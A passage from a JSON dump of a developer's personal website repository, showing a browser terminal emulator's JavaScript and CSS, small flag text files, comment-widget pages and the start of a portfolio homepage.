null;\n        \n        for (const line of lines) {\n            if (line !== prev) {\n                unique.push(line);\n                prev = line;\n            }\n        }\n        \n        this.printLine(unique.join('\\\\n'));\n    }\n\n    async cmd_diff(args) {\n        if (this.checkHelp(args, 'diff')) return;\n        \n        if (args.length < 2) {\n            this.printLine('diff: missing file operand', 'output-error');\n            this.printLine(\"Try 'diff --help' for more information.\");\n            return;\n        }\n\n        try {\n            const content1 = window.axiomContainer.readFile(args[0]);\n            const content2 = window.axiomContainer.readFile(args[1]);\n            \n            const lines1 = content1.split('\\\\n');\n            const lines2 = content2.split('\\\\n');\n            \n            let hasDiff = false;\n            const maxLen = Math.max(lines1.length, lines2.length);\n            \n            for (let i = 0; i < maxLen; i++) {\n                const line1 = lines1[i] || '';\n                const line2 = lines2[i] || '';\n                \n                if (line1 !== line2) {\n                    if (!hasDiff) {\n                        this.printLine(`--- ${args[0]}`);\n                        this.printLine(`+++ ${args[1]}`);\n                        hasDiff = true;\n                    }\n                    \n                    if (line1) this.printLine(`- ${line1}`, 'output-error');\n                    if (line2) this.printLine(`+ ${line2}`, 'output-success');\n                }\n            }\n            \n            if (!hasDiff) {\n                this.printLine('Files are identical');\n            }\n        } catch (error) {\n            this.printLine(`diff: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_tree(args) {\n        if (this.checkHelp(args, 'tree')) return;\n        \n        const {params, flags} = this.filterFlags(args);\n        \n        // Parse flags\n        const showAll = flags.includes('-a');\n        const dirsOnly = flags.includes('-d');\n        const fullPath = flags.includes('-f');\n        \n        // Parse depth limit\n        let maxDepth = Infinity;\n        const levelIndex = flags.indexOf('-L');\n        if (levelIndex !== -1 && levelIndex + 1 < flags.length) {\n            const depth = parseInt(flags[levelIndex + 1]);\n            if (!isNaN(depth) && depth > 0) {\n                maxDepth = depth;\n            }\n        }\n        \n        // Get path (default to current directory)\n        const targetPath = params[0] || window.axiomContainer.currentDirectory;\n        \n        try {\n            if (!window.axiomContainer.exists(targetPath)) {\n                this.printLine(`tree: ${targetPath}: No such file or directory`, 'output-error');\n                return;\n            }\n            \n            const entry = window.axiomContainer.getFile(targetPath);\n            if (entry.type !== 'directory') {\n                this.printLine(`tree: ${targetPath}: Not a directory`, 'output-error');\n                return;\n            }\n            \n            // Print header\n            this.printLine(targetPath);\n            \n            // Statistics\n            let dirCount = 0;\n            let fileCount = 0;\n            \n            // Recursive tree builder\n            const buildTree = (path, prefix = '', depth = 0) => {\n                if (depth >= maxDepth) return;\n                \n                try {\n                    const entries = window.axiomContainer.listDirectory(path);\n                    \n                    // Filter entries\n                    let filtered = entries.filter(entry => {\n                        // Skip hidden files unless -a flag\n                        if (!showAll && entry.name.startsWith('.')) return false;\n                        // Skip files if -d flag (directories only)\n                        if (dirsOnly && entry.type !== 'directory') return false;\n                        return true;\n                    });\n                    \n                    // Sort: directories first, then files, alphabetically\n                    filtered.sort((a, b) => {\n                        if (a.type === b.type) return a.name.localeCompare(b.name);\n                        return a.type === 'directory' ? -1 : 1;\n                    });\n                    \n                    filtered.forEach((entry, index) => {\n                        const isLast = index === filtered.length - 1;\n                        const branch = isLast ? '└── ' : '├── ';\n                        const extension = isLast ? '    ' : '│   ';\n                        \n                        // Determine color class\n                        let colorClass = '';\n                        if (entry.type === 'directory') {\n                            colorClass = 'directory-name';\n                            dirCount++;\n                        } else {\n                            fileCount++;\n                            // File type colors\n                            if (entry.name.match(/\\\\.(sh|exe|bin)$/)) colorClass = 'executable-name';\n                            else if (entry.name.match(/\\\\.(zip|tar|gz|rar|7z)$/)) colorClass = 'archive-name';\n                            else if (entry.name.match(/\\\\.(jpg|jpeg|png|gif|bmp|svg)$/)) colorClass = 'image-name';\n                            else if (entry.name.match(/\\\\.(txt|md|log)$/)) colorClass = 'text-name';\n                            else colorClass = 'file-name';\n                        }\n                        \n                        // Build display name\n                        let displayName = entry.name;\n                        if (fullPath) {\n                            displayName = entry.path;\n                        }\n                        if (entry.type === 'directory') {\n                            displayName += '/';\n                        }\n                        \n                        this.printLine(`${prefix}${branch}<span class=\"${colorClass}\">${displayName}</span>`);\n                        \n                        // Recurse into directories\n                        if (entry.type === 'directory') {\n                            buildTree(entry.path, prefix + extension, depth + 1);\n                        }\n                    });\n                } catch (e) {\n                    // Permission denied or other error\n                    this.printLine(`${prefix}[error opening dir]`, 'output-error');\n                }\n            };\n            \n            buildTree(targetPath);\n            \n            // Print summary\n            this.printLine('');\n            if (dirsOnly) {\n                this.printLine(`${dirCount} directories`);\n            } else {\n                this.printLine(`${dirCount} directories, ${fileCount} files`);\n            }\n            \n        } catch (error) {\n            this.printLine(`tree: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_ui_notepad(args) {\n        if (this.checkHelp(args, 'ui-notepad')) return;\n        \n        if (args.length === 0) {\n            this.printLine('ui-notepad: missing file operand', 'output-error');\n            this.printLine(\"Usage: ui-notepad <file>\");\n            return;\n        }\n\n        const filename = args[0];\n        await this.uiNotepad.open(filename);\n    }\n}\n\n// Initialize terminal on page load\nwindow.axiomTerminal = new AxiomTerminal();\n\ndocument.addEventListener('DOMContentLoaded', async () => {\n    await window.axiomTerminal.initialize();\n});\n"
  },
  {
    "path": "axiom/application_data/webui/app.styles.css",
    "content": "* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\nbody {\n    font-family: 'DejaVu Sans Mono', 'Consolas', 'Liberation Mono', 'Courier New', monospace;\n    background-color: #300a24;\n    color: #ffffff;\n    overflow: hidden;\n    height: 100vh;\n}\n\n#terminal-container {\n    display: flex;\n    flex-direction: column;\n    height: 100vh;\n    width: 100vw;\n    background-color: #300a24;\n}\n\n#terminal-header {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    padding: 6px 12px;\n    background-color: #2d0922;\n    border-bottom: 1px solid #5e2750;\n    font-size: 12px;\n}\n\n.terminal-title {\n    color: #d3d3d3;\n    font-weight: normal;\n}\n\n.terminal-status {\n    color: #87ceeb;\n    font-size: 11px;\n}\n\n#terminal-output {\n    flex: 1;\n    overflow-y: auto;\n    padding: 12px;\n    font-size: 13px;\n    line-height: 1.3;\n    white-space: pre-wrap;\n    word-wrap: break-word;\n}\n\n#terminal-output::-webkit-scrollbar {\n    width: 10px;\n}\n\n#terminal-output::-webkit-scrollbar-track {\n    background: #2d0922;\n}\n\n#terminal-output::-webkit-scrollbar-thumb {\n    background: #5e2750;\n    border-radius: 5px;\n}\n\n#terminal-output::-webkit-scrollbar-thumb:hover {\n    background: #7a3566;\n}\n\n#terminal-input-line {\n    display: none;\n}\n\n#terminal-prompt {\n    color: #87ceeb;\n    margin-right: 4px;\n    font-weight: normal;\n    white-space: nowrap;\n}\n\n#terminal-input {\n    flex: 1;\n    background: transparent;\n    border: none;\n    outline: none;\n    color: #ffffff;\n    font-family: 'DejaVu Sans Mono', 'Consolas', 'Liberation Mono', 'Courier New', monospace;\n    font-size: 13px;\n    caret-color: #ffffff;\n}\n\n.output-line {\n    margin: 0;\n    padding: 0;\n    line-height: 1.3;\n}\n\n.output-error {\n    color: #ff5555;\n}\n\n.output-warning {\n    color: #ffb86c;\n}\n\n.output-info {\n    color: #8be9fd;\n}\n\n.output-success {\n    color: #50fa7b;\n}\n\n.output-prompt {\n    color: #ffffff;\n}\n\n.input-line {\n    display: flex;\n    align-items: center;\n    margin: 0;\n    padding: 0;\n    line-height: 1.3;\n    height: 17px;\n    min-height: 17px;\n}\n\n.input-prompt {\n    color: #87ceeb;\n    margin-right: 4px;\n    line-height: 1.3;\n    height: 17px;\n}\n\n.input-text {\n    color: #ffffff;\n    display: inline;\n    outline: none;\n    white-space: pre;\n    word-break: normal;\n    line-height: 1.3;\n    height: 17px;\n}\n\n.after-cursor {\n    color: #ffffff;\n    display: inline;\n    white-space: pre;\n    line-height: 1.3;\n    height: 17px;\n}\n\n.cursor {\n    display: inline-block;\n    background-color: #ffffff;\n    color: #300a24;\n    min-width: 8px;\n    height: 17px;\n    line-height: 1.3;\n    position: relative;\n    vertical-align: baseline;\n}\n\n.cursor.blink::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    bottom: 0;\n    background-color: #ffffff;\n    animation: cursorBlink 1s step-end infinite;\n    z-index: -1;\n}\n\n@keyframes cursorBlink {\n    0%, 50% {\n        opacity: 1;\n    }\n    51%, 100% {\n        opacity: 0;\n    }\n}\n\n.file-permissions {\n    color: #8be9fd;\n    margin-right: 8px;\n}\n\n.file-size {\n    color: #f1fa8c;\n    margin-right: 8px;\n}\n\n.file-date {\n    color: #bd93f9;\n    margin-right: 8px;\n}\n\n.file-name {\n    color: #f8f8f2;\n}\n\n.directory-name {\n    color: #8be9fd;\n    font-weight: bold;\n}\n\n.boot-message {\n    color: #8be9fd;\n}\n\n.cpu-info {\n    color: #ffb86c;\n}\n\n/* Context Menu */\n#axiom-context-menu {\n    position: fixed;\n    background: #2d0922;\n    border: 1px solid #5e2750;\n    border-radius: 4px;\n    padding: 4px 0;\n    min-width: 150px;\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.5);\n    z-index: 10000;\n    display: none;\n    font-size: 13px;\n}\n\n#axiom-context-menu.show {\n    display: block;\n}\n\n.context-menu-item {\n    padding: 8px 16px;\n    cursor: pointer;\n    color: #ffffff;\n    transition: background-color 0.15s;\n}\n\n.context-menu-item:hover {\n    background-color: #5e2750;\n}\n\n.context-menu-item.disabled {\n    color: #777;\n    cursor: not-allowed;\n}\n\n.context-menu-item.disabled:hover {\n    background-color: transparent;\n}\n\n.context-menu-separator {\n    height: 1px;\n    background-color: #5e2750;\n    margin: 4px 0;\n}\n\n/* Colorful ls output */\n.executable-name {\n    color: #50fa7b;\n    font-weight: bold;\n}\n\n.archive-name {\n    color: #ff5555;\n    font-weight: bold;\n}\n\n.image-name {\n    color: #bd93f9;\n}\n\n.text-name {\n    color: #f1fa8c;\n}\n\n/* Nano Editor */\n.axiom-editor {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100vw;\n    height: 100vh;\n    background-color: #300a24;\n    display: flex;\n    flex-direction: column;\n    z-index: 9999;\n    font-family: 'DejaVu Sans Mono', 'Consolas', 'Liberation Mono', 'Courier New', monospace;\n}\n\n.editor-header {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    padding: 8px 12px;\n    background-color: #2d0922;\n    border-bottom: 2px solid #5e2750;\n    color: #ffffff;\n}\n\n.editor-filename {\n    font-size: 14px;\n    font-weight: bold;\n    color: #87ceeb;\n}\n\n.editor-info {\n    font-size: 12px;\n    color: #ffb86c;\n}\n\n.editor-body {\n    flex: 1;\n    display: flex;\n    overflow: hidden;\n    background-color: #300a24;\n}\n\n.editor-line-numbers {\n    width: 50px;\n    background-color: #2d0922;\n    color: #6272a4;\n    text-align: right;\n    padding: 12px 8px;\n    font-size: 13px;\n    line-height: 1.5;\n    overflow-y: hidden;\n    user-select: none;\n    border-right: 1px solid #5e2750;\n}\n\n.line-number {\n    height: 19.5px;\n    line-height: 19.5px;\n}\n\n.editor-content {\n    flex: 1;\n    background-color: #300a24;\n    color: #f8f8f2;\n    border: none;\n    outline: none;\n    padding: 12px;\n    font-family: 'DejaVu Sans Mono', 'Consolas', 'Liberation Mono', 'Courier New', monospace;\n    font-size: 13px;\n    line-height: 1.5;\n    resize: none;\n    white-space: pre;\n    overflow-wrap: normal;\n    overflow-x: auto;\n    tab-size: 4;\n}\n\n.editor-footer {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    padding: 6px 12px;\n    background-color: #2d0922;\n    border-top: 2px solid #5e2750;\n    color: #ffffff;\n    font-size: 11px;\n}\n\n.editor-shortcuts {\n    display: flex;\n    gap: 16px;\n    flex-wrap: wrap;\n}\n\n.editor-shortcuts span {\n    color: #8be9fd;\n}\n\n.editor-status {\n    color: #50fa7b;\n    font-weight: bold;\n}\n\n/* Mobile Adaptivity */\n@media only screen and (max-width: 768px) {\n    body {\n        font-size: 12px;\n    }\n    \n    #terminal-output {\n        font-size: 11px;\n        padding: 8px;\n        line-height: 1.2;\n    }\n    \n    #terminal-header {\n        padding: 4px 8px;\n        font-size: 11px;\n    }\n    \n    .terminal-status {\n        font-size: 10px;\n    }\n    \n    #terminal-input {\n        font-size: 11px;\n    }\n    \n    #axiom-context-menu {\n        min-width: 120px;\n        font-size: 12px;\n    }\n    \n    .context-menu-item {\n        padding: 6px 12px;\n    }\n    \n    /* Editor mobile */\n    .editor-content {\n        font-size: 11px;\n    }\n    \n    .editor-line-numbers {\n        font-size: 11px;\n        width: 40px;\n    }\n    \n    .editor-shortcuts {\n        font-size: 10px;\n        gap: 8px;\n    }\n}\n\n@media only screen and (max-width: 480px) {\n    body {\n        font-size: 11px;\n    }\n    \n    #terminal-output {\n        font-size: 10px;\n        padding: 6px;\n        line-height: 1.1;\n    }\n    \n    #terminal-header {\n        padding: 3px 6px;\n        font-size: 10px;\n    }\n    \n    .terminal-status {\n        font-size: 9px;\n    }\n    \n    #terminal-input {\n        font-size: 10px;\n    }\n    \n    #axiom-context-menu {\n        min-width: 100px;\n        font-size: 11px;\n    }\n    \n    .context-menu-item {\n        padding: 5px 10px;\n    }\n    \n    /* Editor mobile */\n    .editor-content {\n        font-size: 10px;\n        padding: 8px;\n    }\n    \n    .editor-line-numbers {\n        font-size: 10px;\n        width: 35px;\n        padding: 8px 4px;\n    }\n    \n    .editor-header {\n        padding: 6px 8px;\n        font-size: 11px;\n    }\n    \n    .editor-footer {\n        padding: 4px 8px;\n        font-size: 10px;\n    }\n    \n    .editor-shortcuts {\n        font-size: 9px;\n        gap: 6px;\n    }\n    \n    .editor-shortcuts span {\n        display: none;\n    }\n    \n    .editor-shortcuts span:nth-child(1),\n    .editor-shortcuts span:nth-child(2) {\n        display: inline;\n    }\n}\n\n/* Touch device optimizations */\n@media (hover: none) and (pointer: coarse) {\n    .context-menu-item {\n        padding: 10px 16px;\n        min-height: 44px;\n        display: flex;\n        align-items: center;\n    }\n    \n    #terminal-output {\n        -webkit-overflow-scrolling: touch;\n    }\n    \n    /* Better tap target sizing */\n    #terminal-input {\n        min-height: 44px;\n        padding: 12px 0;\n    }\n    \n    #terminal-input-line {\n        min-height: 44px;\n        align-items: center;\n    }\n}\n"
  },
  {
    "path": "axiom/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <meta name=\"mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n    <title>Axiom Terminal</title>\n    <link rel=\"stylesheet\" href=\"application_data/webui/app.styles.css\">\n</head>\n<body>\n    <div id=\"terminal-container\">\n        <div id=\"terminal-header\">\n            <span class=\"terminal-title\">Axiom Terminal v1.0.0</span>\n            <span class=\"terminal-status\" id=\"system-status\">Booting...</span>\n        </div>\n        <div id=\"terminal-output\"></div>\n        <div id=\"terminal-input-line\">\n            <span id=\"terminal-prompt\">root@axiom:~$</span>\n            <input type=\"text\" \n                   id=\"terminal-input\" \n                   autocomplete=\"off\" \n                   autocorrect=\"off\"\n                   autocapitalize=\"off\"\n                   spellcheck=\"false\" \n                   autofocus\n                   inputmode=\"text\">\n        </div>\n    </div>\n\n    <!-- Context Menu -->\n    <div id=\"axiom-context-menu\">\n        <div class=\"context-menu-item\" data-action=\"copy\">Copy</div>\n        <div class=\"context-menu-item\" data-action=\"paste\">Paste</div>\n        <div class=\"context-menu-separator\"></div>\n        <div class=\"context-menu-item\" data-action=\"reboot\">Reboot</div>\n    </div>\n\n    <!-- System Core -->\n    <script src=\"application_data/system/kernel/core/bootmgr.js\"></script>\n    <script src=\"application_data/system/kernel/environment.js\"></script>\n    <script src=\"application_data/system/kernel/virtualcpu.js\"></script>\n    <script src=\"application_data/system/kernel/virtualcpu.interruptions.js\"></script>\n    \n    <!-- File System I/O -->\n    <script src=\"application_data/system/kernel/fsio/fs.input.js\"></script>\n    <script src=\"application_data/system/kernel/fsio/fs.output.js\"></script>\n    <script src=\"application_data/system/kernel/fsio/fs.compression.js\"></script>\n    \n    <!-- Virtual Machine -->\n    <script src=\"application_data/system/vm/emulator.js\"></script>\n    <script src=\"application_data/system/vm/emulator.instructions.js\"></script>\n    <script src=\"application_data/system/vm/container.js\"></script>\n    <script src=\"application_data/system/vm/container.memguard.js\"></script>\n    \n    <!-- UI Apps -->\n    <script src=\"application_data/system/uiapps/core.ui-notepad.js\"></script>\n    \n    <!-- Application Manifest -->\n    <script src=\"application_data/webui/app.manifest.js\"></script>\n</body>\n</html>\n"
  },
  {
    "path": "dosx-files/1",
    "content": "\n"
  },
  {
    "path": "dosx-files/spoof-me.txt",
    "content": "isActivated=false;\n"
  },
  {
    "path": "dosx-files/vavilonp-red.txt",
    "content": "TRUE\n"
  },
  {
    "path": "dosx-files/x-crpt-lic.txt",
    "content": "true=\n"
  },
  {
    "path": "global/dark-blue-md.css",
    "content": ":root {\n    --primary-color: #4361ee;\n    --secondary-color: #3f37c9;\n    --accent-color: #4895ef;\n    --text-color: #2b2d42;\n    --light-text: #8d99ae;\n    --bg-color: #ffffff;\n    --light-bg: #f8f9fa;\n    --border-color: #e9ecef;\n    --success-color: #4cc9f0;\n    --warning-color: #f8961e;\n    --danger-color: #f72585;\n    --border-radius: 8px;\n    --box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);\n    --font-sans: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n    --font-mono: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n    --transition: all 0.3s ease;\n}\n\n@media (prefers-color-scheme: dark) {\n    :root {\n        --text-color: #f8f9fa;\n        --light-text: #adb5bd;\n        --bg-color: #212529;\n        --light-bg: #343a40;\n        --border-color: #495057;\n    }\n}\n\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\nbody {\n    font-family: var(--font-sans);\n    line-height: 1.6;\n    color: var(--text-color);\n    background-color: var(--bg-color);\n    padding: 20px;\n    max-width: 1100px;\n    margin: 0 auto;\n    transition: var(--transition);\n    cursor: default;\n}\n\n::selection {\n    color: #ffffff;\n    background-color: rgb(80, 8, 214);\n}\n\n/* Typography */\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n    margin: 1.5em 0 1rem 0;\n    font-weight: 600;\n    line-height: 1.25;\n    color: var(--text-color);\n}\n\nh1 {\n    font-size: 2.2rem;\n    border-bottom: 1px solid var(--border-color);\n    padding-bottom: 0.5rem;\n}\n\nh2 {\n    font-size: 1.8rem;\n    border-bottom: 1px solid var(--border-color);\n    padding-bottom: 0.5rem;\n}\n\nh3 {\n    font-size: 1.5rem;\n}\nh4 {\n    font-size: 1.3rem;\n}\nh5 {\n    font-size: 1.1rem;\n}\nh6 {\n    font-size: 1rem;\n    color: var(--light-text);\n}\n\np {\n    margin: 0 0 1.5rem 0;\n}\n\na {\n    color: var(--primary-color);\n    text-decoration: none;\n    transition: var(--transition);\n}\n\na:hover {\n    color: var(--secondary-color);\n    text-decoration: underline;\n}\n\n/* Lists */\n\nul,\nol {\n    margin: 0 0 1.5rem 2rem;\n}\n\nli {\n    margin-bottom: 0.5rem;\n}\n\nul li {\n    list-style-type: disc;\n}\nol li {\n    list-style-type: decimal;\n}\n\n/* Blockquotes */\n\nblockquote {\n    border-left: 4px solid var(--primary-color);\n    padding: 1rem 1.5rem;\n    margin: 0 0 1.5rem 0;\n    background-color: var(--light-bg);\n    border-radius: 0 var(--border-radius) var(--border-radius) 0;\n}\n\nblockquote p {\n    margin: 0;\n}\n\n/* Code */\n\npre {\n    background-color: var(--light-bg);\n    border-radius: var(--border-radius);\n    padding: 1rem;\n    overflow-x: auto;\n    margin: 0 0 1.5rem 0;\n    box-shadow: var(--box-shadow);\n}\n\ncode {\n    font-family: var(--font-mono);\n    background-color: var(--light-bg);\n    padding: 0.2rem 0.4rem;\n    border-radius: 4px;\n    font-size: 0.9em;\n}\n\npre code {\n    padding: 0;\n    background-color: transparent;\n    border-radius: 0;\n}\n\n/* Images */\n\nimg {\n    max-width: 100%;\n    height: auto;\n    border-radius: var(--border-radius);\n    margin: 0 0 1.5rem 0;\n    box-shadow: var(--box-shadow);\n}\n\n/* Tables */\n\ntable {\n    width: 100%;\n    border-collapse: collapse;\n    margin: 0 0 1.5rem 0;\n    box-shadow: var(--box-shadow);\n    border-radius: var(--border-radius);\n    overflow: hidden;\n}\n\nth,\ntd {\n    padding: 0.75rem 1rem;\n    text-align: left;\n    border-bottom: 1px solid var(--border-color);\n}\n\nth {\n    background-color: var(--primary-color);\n    color: white;\n    font-weight: 600;\n}\n\ntr:nth-child(even) {\n    background-color: var(--light-bg);\n}\n\ntr:hover {\n    background-color: rgba(67, 97, 238, 0.1);\n}\n\n/* Horizontal line */\n\nhr {\n    border: none;\n    height: 1px;\n    background-color: var(--border-color);\n    margin: 2rem 0;\n}\n\n/* Buttons */\n\nbutton,\n.button {\n    display: inline-block;\n    background-color: var(--primary-color);\n    color: white;\n    padding: 0.6rem 1.2rem;\n    border: none;\n    border-radius: var(--border-radius);\n    cursor: pointer;\n    font-size: 1rem;\n    transition: var(--transition);\n    text-decoration: none;\n    margin: 0 0.5rem 0.5rem 0;\n}\n\nbutton:hover,\n.button:hover {\n    background-color: var(--secondary-color);\n    transform: translateY(-2px);\n}\n\n/* Forms */\n\ninput:not([type=\"checkbox\"]):not([type=\"radio\"]),\ntextarea,\nselect {\n    width: 100%;\n    padding: 0.75rem;\n    margin: 0 0 1rem 0;\n    border: 1px solid var(--border-color);\n    border-radius: var(--border-radius);\n    font-family: var(--font-sans);\n    transition: var(--transition);\n}\n\ninput:focus,\ntextarea:focus,\nselect:focus {\n    outline: none;\n    border-color: var(--primary-color);\n    box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2);\n}\n\n/* Notes */\n\n.note {\n    padding: 1rem;\n    border-radius: var(--border-radius);\n    margin: 0 0 1.5rem 0;\n    background-color: var(--light-bg);\n    border-left: 4px solid var(--light-text);\n}\n\n.note.success {\n    background-color: rgba(76, 201, 240, 0.1);\n    border-left-color: var(--success-color);\n}\n\n.note.warning {\n    background-color: rgba(248, 150, 30, 0.1);\n    border-left-color: var(--warning-color);\n}\n\n.note.danger {\n    background-color: rgba(247, 37, 133, 0.1);\n    border-left-color: var(--danger-color);\n}\n\n/* Responsive */\n\n@media (max-width: 768px) {\n    body {\n        padding: 15px;\n    }\n    h1 {\n        font-size: 1.8rem;\n    }\n    h2 {\n        font-size: 1.5rem;\n    }\n    h3 {\n        font-size: 1.3rem;\n    }\n    table {\n        display: block;\n        overflow-x: auto;\n    }\n}\n\n@media (max-width: 480px) {\n    body {\n        padding: 10px;\n    }\n    ul,\n    ol {\n        margin-left: 1.2rem;\n    }\n}\n\n.hidden {\n    display: none;\n}\n\n.center {\n    text-align: center;\n}\n"
  },
  {
    "path": "gui/index.html",
    "content": "<!doctype html>\n<head>\n<title>DEVS.CF</title>\n<link rel=\"canonical\" href=\"https://devs.cf/gui/\"/>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n</head>\n<body>\n<script async src=\"https://comments.app/js/widget.js?3\"\n        data-comments-app-website=\"DikOaSMs\"\n        data-limit=\"50\"\n        data-color=\"343638\"\n        data-dislikes=\"1\"\n        data-outlined=\"1\"\n        data-dark=\"0\"></script>\n</body>\n"
  },
  {
    "path": "gui/new/index.html",
    "content": "<!doctype html>\n\n<head>\n    <meta charset=\"UTF-8\">\n    <title>DEVS.CF</title>\n    <link rel=\"canonical\" href=\"https://devs.cf/gui/new/\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n</head>\n\n<body>\n    <!-- <h2 style=\"font-family: Calibri;\">Private room \"<span style=\"color: grey;\" id=\"room-name\"></span>\"</h2> -->\n    <script>\n        const urlParams = new URLSearchParams(window.location.search);\n        let Room = urlParams.get(\"id\");\n        // document.getElementById(\"room-name\").innerHTML = Room;\n        if (Room !== \"\" && Room !== null) {\n            var SiteLoader = document.createElement('script');\n\n\n            [\"src=https://comments.app/js/widget.js?3\",\n                \"data-comments-app-website=DikOaSMs\",\n                \"data-limit=30\",\n                \"data-color=343638\",\n                \"data-dislikes=1\",\n                \"data-outlined=1\",\n                `data-page-id=${Room}`,\n                \"data-dark=0\"\n            ].forEach(El => {\n                let Parse = El.split(\"=\");\n                SiteLoader.setAttribute(Parse[0], Parse[1]);\n            });\n\n            document.body.appendChild(SiteLoader);\n        } else {\n            document.write(\"Invalid data.\");\n        }\n    </script>\n</body>\n"
  },
  {
    "path": "index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"title\" content=\"DosX Portfolio - Software Developer & Security Specialist\">\n    <meta name=\"description\" content=\"DosX → Attack, Defend, Anticipate - Software developer specializing in Windows applications, web development, server solutions, and security protections. View my portfolio of public projects.\">\n    <meta name=\"keywords\" content=\"DosX, programmer, software development, windows applications, web development, server software, protection, github, dosx-dev, security specialist, portfolio, developer, repository\">\n    <meta name=\"author\" content=\"DosX\">\n    <meta name=\"robots\" content=\"index, follow\">\n    <meta name=\"theme-color\" content=\"#4361ee\">\n\n    <!-- Open Graph / Facebook -->\n    <meta property=\"og:type\" content=\"website\">\n    <meta property=\"og:url\" content=\"https://dosx.su/\">\n    <meta property=\"og:title\" content=\"DosX Portfolio - Software Developer & Security Specialist\">\n    <meta property=\"og:description\" content=\"Software developer specializing in Windows applications, web development, server solutions, and security protections. View my portfolio of public projects.\">\n    <meta property=\"og:image\" content=\"res/ava.gif\">\n\n    <!-- Twitter -->\n    <meta property=\"twitter:card\" content=\"summary_large_image\">\n    <meta property=\"twitter:url\" content=\"https://dosx.su/\">\n    <meta property=\"twitter:title\" content=\"DosX Portfolio - Software Developer & Security Specialist\">\n    <meta property=\"twitter:description\" content=\"Software developer specializing in Windows applications, web development, server solutions, and security protections. View my portfolio of public projects.\">\n    <meta property=\"twitter:image\" content=\"res/ava.gif\">\n\n    <link rel=\"canonical\" href=\"https://dosx.su/\">\n\n    <title>DosX • Developer Portfolio | Windows, Web, Server & Security Solutions</title>\n\n    <link rel=\"icon\" type=\"image/png\" href=\"res/favicon.png\">\n    <link rel=\"stylesheet\" href=\"app.modern.css\">\n    <link rel=\"stylesheet\" href=\"app.modern.fingerprint.css\">\n    <link rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap\">\n\n    <!-- JSON-LD structured data for SEO -->\n    <script type=\"application/ld+json\">\n    {\n      \"@context\": \"https://schema.org\",\n      \"@type\": \"Person\",\n      \"name\": \"DosX\",\n      \"url\": \"https://dosx.su\",\n      \"image\": \"res/ava.gif\",\n      \"sameAs\": [\n        \"https://github.com/dosx-dev\",\n        \"https://t.me/DosX_dev\"\n      ],\n      \"jobTitle\": \"Software Developer\",\n      \"worksFor\": {\n        \"@type\": \"Organization\",\n        \"name\": \"Independent\"\n      },\n      \"description\": \"Software developer specializing in Windows applications, web development, server solutions, and security protections.\",\n      \"knowsAbout\": [\n        \"GUI Applications\",\n        \"CLI Programs\",\n        \"Software Libraries\",\n        \"Software Protection\",\n        \"PE Signature Analysis\",\n        \"Web Development\"\n      ],\n      \"email\": \"collab@kay-software.ru\"\n    }\n    </script>\n</head>\n\n<body class=\"light-mode\">\n    <div id=\"warning-popup\" class=\"warning-popup hidden\" role=\"alert\" aria-live=\"polite\">\n        <div class=\"warning-content\">\n            <div class=\"warning-icon\">⚠️</div>\n            <p>В связи с абсурдной политикой Роскомнадзора <b>доступ к этому сайту для россиян может стать невозможным</b>. Сохраните мои контактные данные на этот случай.</p>\n            <button id=\"close-warning\" class=\"close-warning\" aria-label=\"Close warning\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M18 6L6 18M6 6L18 18\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n            </button>\n        </div>\n    </div>\n\n    <header>\n        <div class=\"theme-toggle\" onclick=\"toggleTheme()\">\n            <div class=\"toggle-icon\">\n                <svg class=\"sun-icon\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M12 3V4M12 20V21M4 12H3M21 12H20M6.31 6.31L5.6 5.6M18.4 18.4L17.69 17.69M6.31 17.69L5.6 18.4M18.4 5.6L17.69 6.31M17 12C17 14.7614 14.7614 17 12 17C9.23858 17 7 14.7614 7 12C7 9.23858 9.23858 7 12 7C14.7614 7 17 9.23858 17 12Z\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n                <svg class=\"moon-icon\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n            </div>\n        </div>\n    </header>\n\n    <main>\n        <section class=\"hero slant-after\" style=\"height: 100vh; min-height: 100vh; max-height: 100vh;\">\n            <div class=\"container\">\n                <div class=\"hero-content\">\n                    <div class=\"profile-container\">\n                        <div class=\"profile-image\">\n                            